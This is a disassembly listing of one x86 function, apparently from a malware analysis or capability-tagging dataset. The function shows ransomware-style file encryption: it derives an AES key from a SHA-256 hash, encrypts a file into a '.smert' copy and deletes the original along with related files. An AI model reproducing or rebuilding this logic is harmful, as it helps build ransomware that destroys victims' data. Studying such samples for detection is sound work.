Function at 0x401030
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2440
call fcn.00402560
mov eax, dword [0x425280]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x104
lea eax, [ebp - 0x30c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push str..smert
mov ecx, dword [ebp + 8]
push ecx
call fcn.00404fa0
add esp, 8
test eax, eax
jne 0x401087
lea edx, [ebp - 0x30c]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.0040726b
add esp, 8
test eax, eax
jne 0x40108c
jmp 0x4014d0
push 0x4250b8
mov ecx, dword [ebp + 8]
push ecx
call fcn.00407e5d
add esp, 8
mov dword [ebp - 0x2424], eax
cmp dword [ebp - 0x2424], 0
jne 0x4010b1
jmp 0x4014d0
mov edx, dword [ebp + 8]
push edx
push 0x4250bc
push 0x100
lea eax, [ebp - 0x208]
push eax
call fcn.004024b0
add esp, 0x10
push 0x4250c8
lea ecx, [ebp - 0x208]
push ecx
call fcn.00407e5d
add esp, 8
mov dword [ebp - 0x2428], eax
cmp dword [ebp - 0x2428], 0
jne 0x401105
mov edx, dword [ebp - 0x2424]
push edx
call fcn.00407d4a
add esp, 4
jmp 0x4014d0
push 0xf0000000
push 0x18
push 0
push 0
lea eax, [ebp - 0x242c]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
jne 0x401144
mov ecx, dword [ebp - 0x2424]
push ecx
call fcn.00407d4a
add esp, 4
mov edx, dword [ebp - 0x2428]
push edx
call fcn.00407d4a
add esp, 4
jmp 0x4014d0
lea eax, [ebp - 0x2430]
push eax
push 0
push 0
push 0x800c
mov ecx, dword [ebp - 0x242c]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
jne 0x401197
push 0
mov edx, dword [ebp - 0x242c]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov eax, dword [ebp - 0x2424]
push eax
call fcn.00407d4a
add esp, 4
mov ecx, dword [ebp - 0x2428]
push ecx
call fcn.00407d4a
add esp, 4
jmp 0x4014d0
push 0
push 0x20
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp - 0x2430]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
jne 0x4011ef
mov ecx, dword [ebp - 0x2430]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
push 0
mov edx, dword [ebp - 0x242c]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov eax, dword [ebp - 0x2424]
push eax
call fcn.00407d4a
add esp, 4
mov ecx, dword [ebp - 0x2428]
push ecx
call fcn.00407d4a
add esp, 4
jmp 0x4014d0
lea edx, [ebp - 0x2434]
push edx
push 0
mov eax, dword [ebp - 0x2430]
push eax
push 0x6610
mov ecx, dword [ebp - 0x242c]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
jne 0x401254
mov edx, dword [ebp - 0x2430]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
push 0
mov eax, dword [ebp - 0x242c]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov ecx, dword [ebp - 0x2424]
push ecx
call fcn.00407d4a
add esp, 4
mov edx, dword [ebp - 0x2428]
push edx
call fcn.00407d4a
add esp, 4
jmp 0x4014d0
mov eax, dword [ebp - 0x2430]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
push 0
mov ecx, dword [ebp + 0x10]
push ecx
push 1
mov edx, dword [ebp - 0x2434]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptSetKeyParam]
test eax, eax
jne 0x4012b9
mov eax, dword [ebp - 0x2434]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
push 0
mov ecx, dword [ebp - 0x242c]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov edx, dword [ebp - 0x2424]
push edx
call fcn.00407d4a
add esp, 4
mov eax, dword [ebp - 0x2428]
push eax
call fcn.00407d4a
add esp, 4
jmp 0x4014d0
mov ecx, dword [ebp - 0x2424]
push ecx
push 0x1000
push 1
lea edx, [ebp - 0x1410]
push edx
call fcn.0040804d
add esp, 0x10
mov dword [ebp - 0x243c], eax
cmp dword [ebp - 0x243c], 0
jbe 0x401390
mov eax, dword [ebp - 0x243c]
mov dword [ebp - 0x2440], eax
push 0x1010
lea ecx, [ebp - 0x2440]
push ecx
lea edx, [ebp - 0x2420]
push edx
push 0
mov eax, dword [ebp - 0x2424]
push eax
call fcn.00407d7a
add esp, 4
push eax
push 0
mov ecx, dword [ebp - 0x2434]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
test eax, eax
jne 0x40136c
mov edx, dword [ebp - 0x2434]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
push 0
mov eax, dword [ebp - 0x242c]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov ecx, dword [ebp - 0x2424]
push ecx
call fcn.00407d4a
add esp, 4
mov edx, dword [ebp - 0x2428]
push edx
call fcn.00407d4a
add esp, 4
jmp 0x4014d0
mov eax, dword [ebp - 0x2428]
push eax
mov ecx, dword [ebp - 0x2440]
push ecx
push 1
lea edx, [ebp - 0x2420]
push edx
call fcn.0040844d
add esp, 0x10
jmp 0x4012b9
mov eax, dword [ebp - 0x2434]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
push 0
mov ecx, dword [ebp - 0x242c]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov edx, dword [ebp - 0x2424]
push edx
call fcn.00407d4a
add esp, 4
mov eax, dword [ebp - 0x2428]
push eax
call fcn.00407d4a
add esp, 4
mov ecx, dword [ebp + 8]
push ecx
call fcn.0040860d
add esp, 4
mov edx, dword [ebp + 8]
push edx
push str._s.smert
push 0x104
lea eax, [ebp - 0x108]
push eax
call fcn.004024b0
add esp, 0x10
lea ecx, [ebp - 0x108]
push ecx
call fcn.0040860d
add esp, 4
mov edx, dword [ebp + 8]
push edx
push str._sREADME.txt.smert
push 0x104
lea eax, [ebp - 0x108]
push eax
call fcn.004024b0
add esp, 0x10
lea ecx, [ebp - 0x108]
push ecx
call fcn.0040860d
add esp, 4
mov edx, dword [ebp + 8]
push edx
push str._sdesktop.ini.smert
push 0x104
lea eax, [ebp - 0x108]
push eax
call fcn.004024b0
add esp, 0x10
lea ecx, [ebp - 0x108]
push ecx
call fcn.0040860d
add esp, 4
push 0x104
lea edx, [ebp - 0x410]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x5c
lea eax, [ebp - 0x410]
push eax
call fcn.00404e60
add esp, 8
mov dword [ebp - 0x2438], eax
cmp dword [ebp - 0x2438], 0
je 0x4014d0
mov ecx, dword [ebp - 0x2438]
add ecx, 1
mov dword [ebp - 0x2438], ecx
mov edx, dword [ebp - 0x2438]
push edx
mov eax, dword [ebp + 8]
push eax
push str._s_s.smert
push 0x104
lea ecx, [ebp - 0x108]
push ecx
call fcn.004024b0
add esp, 0x14
lea edx, [ebp - 0x108]
push edx
call fcn.0040860d
add esp, 4
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402544
mov esp, ebp
pop ebp
ret